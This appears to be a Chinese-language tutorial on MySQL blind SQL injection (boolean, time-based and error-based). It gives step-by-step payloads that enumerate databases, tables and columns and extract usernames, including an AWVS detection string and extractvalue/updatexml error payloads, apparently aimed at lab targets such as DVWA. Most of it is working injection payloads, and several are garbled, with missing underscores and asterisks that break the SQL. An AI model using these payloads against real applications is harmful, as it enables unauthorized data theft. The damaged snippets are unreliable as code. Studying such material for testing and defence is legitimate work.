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什么是盲注?
基于布尔型SQL盲注即在SQL注入过程中,应用程序仅仅返回True(页面)和False(页面)。
盲注就是利用真假条件进行测试。
这时,我们无法根据应用程序的返回页面得到我们需要的数据库信息。但是可以通过构造逻辑判断(比较大小)来得到我们需要的信息。
1.判断表存不存在
and exists(select * from information_schema.tables)
2.判断存在多少个库
and (select count(distinct+tableschema) from informationschema.tables)>4
3.判断库名的长度
and (select length(tableschema) from informationschema.tables limit 0,1) >17
4.接下来爆每个库的库名
and (select ascii(substr((select distinct tableschema from informationschema.tables limit 0,1),1,1)))>104
5.猜表,首先判断表的长度
and (select length(tablename) from informationschema.tables where tableschema='informationschema' limit 0,1) >13
6.判断完表的长度之后就要开始猜解表的字符
and (select ascii(substr((select tablename from informationschema.tables where tableschema='informationschema' limit 0,1),1,1))) >66
7.再接下来猜解表里边的字段即列,首先统计一下有多少个字段
and (select count(columnname) from informationschema.columns where tableschema='informationschema' and tablename='CHARACTERSETS' ) >4
8.判断每个字段的长度
and (select length(columnname) from informationschema.columns where tableschema='informationschema' and tablename='CHARACTERSETS' limit 0,1 ) >17
9.接下来猜第一个字段的字符
and (select ascii(substr((select columnname from informationschema.columns where tableschema='informationschema' and tablename='CHARACTERSETS' limit 0,1),1,1)) ) >66
1.查询数据库的长度
and length(database()) > 4
2.查询数据库名
and ascii(substr((select database()),1,1)) > 99
3.查询表名的长度
and (select(length(tablename)) from informationschema.tables where table_schema = 0x64767761 limit 0,1) > 8+--+
4.查询表名
and ascii(substr((select tablename from informationschema.tables where table_schema=0x64767761 limit 1,1),1,1)) > 116
5.查询列名的长度
and (select(length(columnname)) from informationschema.columns where table_name = 0x7573657273 limit 0,1) > 6
6.查询列名
and ascii(substr((select columnname from informationschema.columns where table_name=0x7573657273 limit 0,1),1,1)) > 116
7.查询字段的长度
and (select length(columnname) from informationschema.columns where table_name=0x7573657273 limit 1,1 ) >10
8.爆出字段
and ascii(substr((select user from dvwa.users limit 0,1),1,1)) > 96
前置基础知识
MYSQL的if函数使用
格式:IF(条件,结果A,结果B)
含义:如果条件成立,则执行A,否则B
MYSQL的substr、substring、mid函数的使用
格式:substr(string,start,len)
格式:substring(string,start,len)
格式:mid(string,start,len)
含义:从string的start位开始截取len个字符
MYSQL的ascii、ord函数的使用
格式:ascii(char)
格式:ord(char)
含义:将char转化成ascii码
盲注思路
基于时间盲柱
if(ascii(substr(查询语句,start,1))=97,sleep(3),1)
基于布尔盲注
or ascii(substr(查询语句,start,1))=97
substr函数中可以接select语句
两种类型盲注的区别
基于布尔盲注是根据页面差异判断是否存在注入,以及数据注入的
基于时间盲注是通过盲注不能得到差异页面(比如:无论输入什么都显示同一个页面.), 这时候可以尝试时间盲注
补充:
为什么没有差异,有这么几种情况:
第一种情况:无论输入什么都只显示无信息页面,例如登陆页面。这种情况下可能只有登录失败页面,错误页面被屏蔽了,并且在没有密码的情况下,登录成功的页面一般情况下也不知道。在这种情况下,有可能基于时间的SQL注入会有效。
第二种情况:无论输入什么都只显示正常信息页面。例如,采集登录用户信息的模块页面。采集用户的 IP、浏览器类型、refer字段、session字段,无论用户输入什么,都显示正常页面。
第三种情况:差异页面不是由输入URL中的SQL语句来决定的。这种情况下,也只能使用基于时间的盲注。
注入-判断注入
今天看到awvs里面判断盲注的payload感觉很使用,也很经典,这里就搬过来。
payload: if(now()=sysdate(),sleep(6),0)/'XOR(if(now()=sysdate(),sleep(6),0))OR'"XOR(if(now()=sysdate(),sleep(6),0))OR"/
tips: 第一点:awvs是用了几次这个语句,改变sleep的时间,来说明存在注入的;第二点:有的页面显示有非法请求,但是这种很有可能已经把sql语句带入数据库执行了(今晚就是这个情况)
注入-查看信息
查看用户名
payload:if(ascii(substr(user(),第几位,1))=114,sleep(3),1)
查看数据库
payload:if(ascii(substr(database(),1,1))=114,sleep(5),1)
查看mysql的版本
payload:if(ascii(substr(database(),1,1))=114,sleep(5),1)
注入-爆表、列、查信息
爆表
union select if(ascii(substr(tablename,1,1))>97,sleep(5),1),2,3 from informationschema.tables where table_schema = database() limit 0,1
union select if(ascii(substr(user(),1,1))=114,sleep(5),1),2,3
因为我们不需要知道字段的多少就可以猜解出user了,可以让if恒为真,然后去添加字段个数,如果请求有延时,就说明字段个数正确,否则说明字段个数错误。
爆列名
union select if(ascii(substr(columnname,1,1))=105,sleep(5),1),2,3 from informationschema.columns where table_name = 'admin' limit 0,1
爆数据
union select if(ascii(substr(user,1,1))=97,sleep(5),1),2,3 from admin limit 0,1
python写盲注脚本
设计思路
<1> 时间判断 start = time.time() end = time.time() all = end-start
<2> 将所有代表字符的ascii码整理进一个list,对list进行迭代
<3> 返回数据的时候用char(ascci码)转化成明文数据
length(str) 判断字符串长度
if(exp1,A,B) 如果条件exp1为True,执行A,False执行B
sleep(time) time为时间,单位秒 延迟time后执行命令
benchmark(count,expr) 延时注入,如果为真,重复计算count次
and benchmark(if(length(database())=4,5000,0),md5('test')); --+
left(a,b) 从左侧截取a的前b位
left(database(),1)>'s'
select user() regexp '^[a-z]'
select user() regexp '^ro'
当正确的时候显示结果为1,不正确的时候显示结果为0.
和上述的正则类似,mysql在匹配的时候我们可以用ike进行匹配
select user() like 'ro%'
1:基于布尔SQL盲注----------构造逻辑判断
我们可以利用逻辑判断进行
截取字符串相关函数解析http://www.cnblogs.com/lcamry/p/5504374.html(这个还是要看下)
▲left(database(),1)>'s' //left()函数
Explain:database()显示数据库名称,left(a,b)从左侧截取a的前b位
▲ascii(substr((select tablename informationschema.tables where tables_schema=database()limit 0,1),1,1))=101 --+ //substr()函数,ascii()函数
Explain:substr(a,b,c)从b位置开始,截取字符串a的c长度。Ascii()将某个字符转换为ascii值
▲ascii(substr((select database()),1,1))=98
▲ORD(MID((SELECT IFNULL(CAST(username AS CHAR),0x20)FROM security.users ORDER BY id LIMIT 0,1),1,1))>98%23 //ORD()函数,MID()函数
Explain:mid(a,b,c)从位置b开始,截取a字符串的c位
Ord()函数同ascii(),将字符转为ascii值
▲regexp正则注入
正则注入介绍:http://www.cnblogs.com/lcamry/articles/5717442.html
用法介绍:select user() regexp '^[a-z]';
Explain:正则表达式的用法,user()结果为root,regexp为匹配root的正则表达式。
第二位可以用select user() regexp '^ro'来进行。
当正确的时候显示结果为1,不正确的时候显示结果为0.
示例介绍:
I select * from users where id=1 and 1=(if((user() regexp '^r'),1,0));
IIselect * from users where id=1 and 1=(user() regexp'^ri');
通过if语句的条件判断,返回一些条件句,比如if等构造一个判断。根据返回结果是否等于0或者1进行判断。
IIIselect * from users where id=1 and 1=(select 1 from informationschema.tables where tableschema='security' and table_name regexp '^us[a-z]' limit 0,1);
这里利用select构造了一个判断语句。我们只需要更换regexp表达式即可
'^u[a-z]' -> '^us[a-z]' -> '^use[a-z]' -> '^user[a-z]' -> FALSE
如何知道匹配结束了?这里大部分根据一般的命名方式(经验)就可以判断。但是如何你在无法判断的情况下,可以用table_name regexp '^username′来进行判断。是从开头进行匹配,
是从结尾开始判断。更多的语法可以参考mysql使用手册进行了解。
好,这里思考一个问题?table_name有好几个,我们只得到了一个user,如何知道其他的?
这里可能会有人认为使用limit 0,1改为limit 1,1。
但是这种做法是错误的,limit作用在前面的select语句中,而不是regexp。那我们该如何选择。其实在regexp中我们是取匹配tablename中的内容,只要tablename中有的内容,我们用regexp都能够匹配到。因此上述语句不仅仅可以选择user,还可以匹配其他项。
▲like匹配注入
和上述的正则类似,mysql在匹配的时候我们可以用ike进行匹配。
用法:select user() like 'ro%'
2:基于报错的SQL盲注------构造payload让信息通过错误提示回显出来
▲Select 1,count(),concat(0x3a,0x3a,(select user()),0x3a,0x3a,floor(rand(0)2))a from information_schema.columns group by a;
//explain:此处有三个点,一是需要concat计数,二是floor,取得0 or 1,进行数据的重复,三是group by进行分组,但具体原理解释不是很通,大致原理为分组后数据计数时重复造成的错误。也有解释为mysql 的bug 的问题。但是此处需要将rand(0),rand()需要多试几次才行。
以上语句可以简化成如下的形式。
select count() from information_schema.tables group by concat(version(),floor(rand(0)2))
如果关键的表被禁用了,可以使用这种形式
select count(*) from (select 1 union select null union select !1) group by concat(version(),floor(rand(0)*2))
如果rand被禁用了可以使用用户变量来报错
select min(@a:=1) from information_schema.tables group by concat(password,@a:=(@a+1)%2)
▲select exp(~(select * FROM(SELECT USER())a)) //double数值类型超出范围
//Exp()为以e为底的对数函数;版本在5.5.5及其以上
可以参考exp报错文章:http://www.cnblogs.com/lcamry/articles/5509124.html
▲select !(select * from (select user())x) -(ps:这是减号) ~0
//bigint超出范围;~0是对0逐位取反,很大的版本在5.5.5及其以上
可以参考文章bigint溢出文章http://www.cnblogs.com/lcamry/articles/5509112.html
▲extractvalue(1,concat(0x7e,(select @@version),0x7e)) se//mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
▲updatexml(1,concat(0x7e,(select @@version),0x7e),1) //mysql对xml数据进行查询和修改的xpath函数,xpath语法错误
▲select * from (select NAMECONST(version(),1),NAMECONST(version(),1))x;
//mysql重复特性,此处重复了version,所以报错。
3:基于时间的SQL盲注----------延时注入
▲If(ascii(substr(database(),1,1))>115,0,sleep(5))%23 //if判断语句,条件为假,执行sleep
Ps:遇到以下这种利用sleep()延时注入语句
select sleep(findinset(mid(@@version, 1, 1), '0,1,2,3,4,5,6,7,8,9,.'));
该语句意思是在0-9之间找版本号的第一位。但是在我们实际渗透过程中,这种用法是不可取的,因为时间会有网速等其他因素的影响,所以会影响结果的判断。
▲UNION SELECT IF(SUBSTRING(current,1,1)=CHAR(119),BENCHMARK(5000000,ENCODE('MSG','by 5 seconds')),null) FROM (select database() as current) as tb1;
//BENCHMARK(count,expr)用于测试函数的性能,参数一为次数,二为要执行的表达式。可以让函数执行若干次,返回结果比平时要长,通过时间长短的变化,判断语句是否执行成功。这是一种边信道攻击,在运行过程中占用大量的cpu资源。推荐使用sleep()函数进行注入。
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